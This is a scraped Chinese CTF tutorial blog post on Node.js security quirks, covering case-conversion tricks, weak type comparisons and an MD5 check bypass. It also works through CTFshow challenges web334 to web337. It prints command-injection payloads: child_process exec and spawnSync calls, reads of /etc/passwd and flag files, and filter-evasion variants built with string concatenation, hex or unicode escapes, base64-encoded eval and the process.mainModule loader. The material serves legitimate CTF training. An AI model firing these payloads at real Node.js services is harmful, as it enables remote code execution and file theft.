当前位置:网站首页>Nodejs ctf 基础
Nodejs ctf 基础
2022-07-24 11:11:00 【ThnPkm】
ctf-nodejs之一些小知识 | F1veseven Blog
目录
Nodejs语言缺点
大小写特性
toUpperCase()
toLowerCase()
对于toUpperCase(): 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
弱类型比较
大小比较:
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false
数组比较:
console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较
还有一些比较特别的相等:
console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false变量拼接:
console.log(5+[6,6]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6MD5的绕过
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)a[x]=1&b[x]=2
数组会被解析成[object Object]
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
a=[1]
b=[2]
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
编码绕过
16进制编码
console.log("a"==="\x61"); // trueunicode编码
console.log("\u0061"==="a"); // truebase编码
eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())nodejs危险函数的利用
命令执行
exec()
require('child_process').exec('open /System/Applications/Calculator.app');eval()
console.log(eval("document.cookie")); //执行document.cookie
console.log("document.cookie"); //输出document.cookie文件读写
读
readFile()
require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
if (err) throw err;
console.log(data);
});readFileSync()
require('fs').readFileSync('/etc/passwd','utf-8')写
writeFileSync()
require('fs').writeFileSync('input.txt','sss');writeFile()
require('fs').writeFile('input.txt','test',(err)=>{})nodejs危险函数-RCE bypass
bypass
原型:
require("child_process").execSync('cat flag.txt')字符拼接:
require("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)
require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")编码绕过:
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器模板拼接:
require("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/')其他函数:
require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args*
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);
CTFshow 例题
web334
user.js

login.js

我们输入的
name不为CTFSHOW然后name转换后的大写为CTFSHOW,密码为123456即可。
用到了大小写特征
对于toUpperCase(): 字符
"ı"、"ſ"经过toUpperCase处理后结果为"I"、"S"
那么username=ctfſhow , password=123456 即可
web335

源码中有提示 ?eval
应该执行eval()函数,可以执行js代码,那么就可以执行系统命令了
收集一下nodejs 的命令执行payload
require('child_process').spawnSync('ls',['.']).stdout.toString()
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
require('child_process').execSync('cat fl*').toString()
global.process.mainModule.constructor._load('child_process').execSync('cat fl*').toString()web336
依旧是get传eval
不同上一题是,不能用execSync了
用spawnSync 可以, 但用通配符读不到
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;上文讲到的 md5绕过
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);payload:
?a[x]=1&b[x]=2
边栏推荐
- Artifact ffmpeg - operation video, extremely comfortable
- UNIX C language POSIX mutex thread synchronization
- [golang] golang实现截取字符串函数SubStr
- Openresty Lua resty logger socket log transfer
- This should be postman, the most complete interface testing tool in the whole network
- Fifty lectures of Euler (I)
- CSDN会员的魅力何在?我要他有什么用?
- [white hat talks about web security] Chapter 2 browser security
- Selenium automated test (this one is enough) - self study
- [attack and defense world web] difficulty five-star 15 point advanced question: ics-07
猜你喜欢

Self taught software testing talent -- not covered

关于【软件测试-自动化测试之面试技巧和注意事项】——侃侃而谈

Fiddler抓包工具总结

CSDN blog removes the uploaded image watermark

自学软件测试天赋异禀——不是盖的

HDU5667 Sequence

Lanqiao cup provincial training camp - stack and recursion

How to convert word to markdown text

2022, the average salary of the soft tester, after reading it, I was instantly cool

Idea background image set
随机推荐
"Low power Bluetooth module" master-slave integrated Bluetooth sniffer - help smart door lock
Working principle and function application of frequency converter
07【Path、Files类的使用】
Reprint: getting started with cache coherence
2018 arXiv | Objective-Reinforced Generative Adversarial Networks (ORGAN) for Sequence Generation Mo
Research on parameter setting of MATLAB FFT
About [software testing - interview skills and precautions for automated testing] - talk freely
这个应该是全网最全的接口测试工具之postman
2022, the average salary of the soft tester, after reading it, I was instantly cool
Blue Bridge Cup provincial match training camp - Calculation of date
Mockito3.8 how to mock static methods (how to mock PageHelper)
自动推理的逻辑06--谓词演算
Only "a little bit", why do developers look up to you?
Fiddler抓包工具总结
openresty lua-resty-logger-socket日志传输
【Golang】golang中time类型的before方法
PIP update command
[golang] golang implements the URLEncode URLDecode function
pip更新命令
Selenium automated test (this one is enough) - self study